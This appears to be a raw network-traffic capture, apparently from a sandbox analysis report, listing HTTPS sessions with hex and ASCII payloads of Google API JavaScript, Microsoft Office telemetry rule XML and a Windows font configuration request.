2024-10-30 10:45:21 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 30 Oct 2024 06:18:38 GMT Expires: Thu, 30 Oct 2025 06:18:38 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 16003 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-30 10:45:21 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-30 10:45:21 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-10-30 10:45:21 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-10-30 10:45:21 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-10-30 10:45:21 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-10-30 10:45:21 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-10-30 10:45:21 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-10-30 10:45:21 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-10-30 10:45:21 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-10-30 10:45:21 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49764	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:21 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:21 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d63b5638-a01e-0021-2ab4-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104521Z-17fbfdc98bbnvkgdqtwd2nmyz800000006u0000000003nx9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49765	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:21 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:21 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:21 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104521Z-17fbfdc98bbgnnfwq36myy7z0g00000008ng0000000002hb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49767	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:21 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 01fc617d-601e-000d-05a4-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104521Z-r1755647c66t77qv3m6k1gb3zw00000007ng000000001540 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49768	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:21 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:21 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104521Z-r1755647c668lcmr2va34xxa5s00000006kg000000003ptb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:22 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49773	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:22 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 10:45:22 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=25978 Date: Wed, 30 Oct 2024 10:45:22 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-30 10:45:22 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49775	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:22 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:22 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104522Z-r1755647c668lcmr2va34xxa5s00000006gg000000005e9v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
